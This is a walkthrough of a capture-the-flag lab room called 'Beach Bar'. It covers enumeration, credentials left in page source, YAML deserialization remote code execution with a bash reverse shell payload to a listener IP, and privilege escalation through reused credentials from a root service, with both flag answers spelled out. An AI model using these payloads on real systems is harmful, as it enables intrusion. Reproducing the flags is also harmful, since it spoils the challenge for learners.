Beach Bar

This guide contains the answer and steps necessary to get to them for the Beach Bar room.

What is the user flag?

Lets enumerate the machine before we move on.
```
nmap -sV -sC 10.113.151.64 
```
We can see there is a webpage served on port 80. Navigating there we see a login page. We can't simply login using anything.

Lets take a look at the source page if we can find anything.

Looks like they left some credentials here. Lets check if they work.

Bingo! Here we can see various pages. The mosst interesting on is the import feature. We can import any file we like or it parses yaml scripts.

Lets check if it properly sanitizes the actual yaml tags to not run anything it shouldn't.
```
!!python/object/apply:os.system
args: ['id']
```
A this returns "0", which likely comes from the exit code (success), we might be on this something.

Lets set up a listener and try again with a reverse shell payload.
```
!!python/object/apply:subprocess.Popen
args:
- ["bash", "-c", "bash -i >& /dev/tcp/192.168.174.187/1337 0>&1"]
```
Success! We are in. Lets look for our first flag.

In the app.py file we find, we can indeed see that it uses an unsafe parse, which gave us RCE.

Looking through the user folders, we can find a file containing the first flag.

Click for answer
THM{y4ml_pl4yl1st_pwns_th3_b34ch}
What is the root flag?

Tried looking for binaries with their SUID bit set that we can exploit, but no luck.
```
find / -perm -4000 -type f 2>/dev/null
```
Nothing to be found of use looking at the cron jobs either.

One of the hints we get from the room description is related to a 'service' that is announcing something. Lets take a look at these running services.
```
Any would work:
ps aux
ps auxf -> Used in this case
pstree -aups
```
This indeed lists us a jukeboxd service that is showing some sort of credential in the output. Whats more, this service is running as root!

Lets trto see what this is used for. Maybe for ssh access or user password.

Unfortunately, we cannot connect through ssh (public key, permission denied).

Lets try switching to another user. Ubuntu didn't work, but root did!

Now lets look for our second flag in the root folder.

Click for answer
THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

Beach Bar

Table of contents

Task 1 - Hacker Holidays: Day 5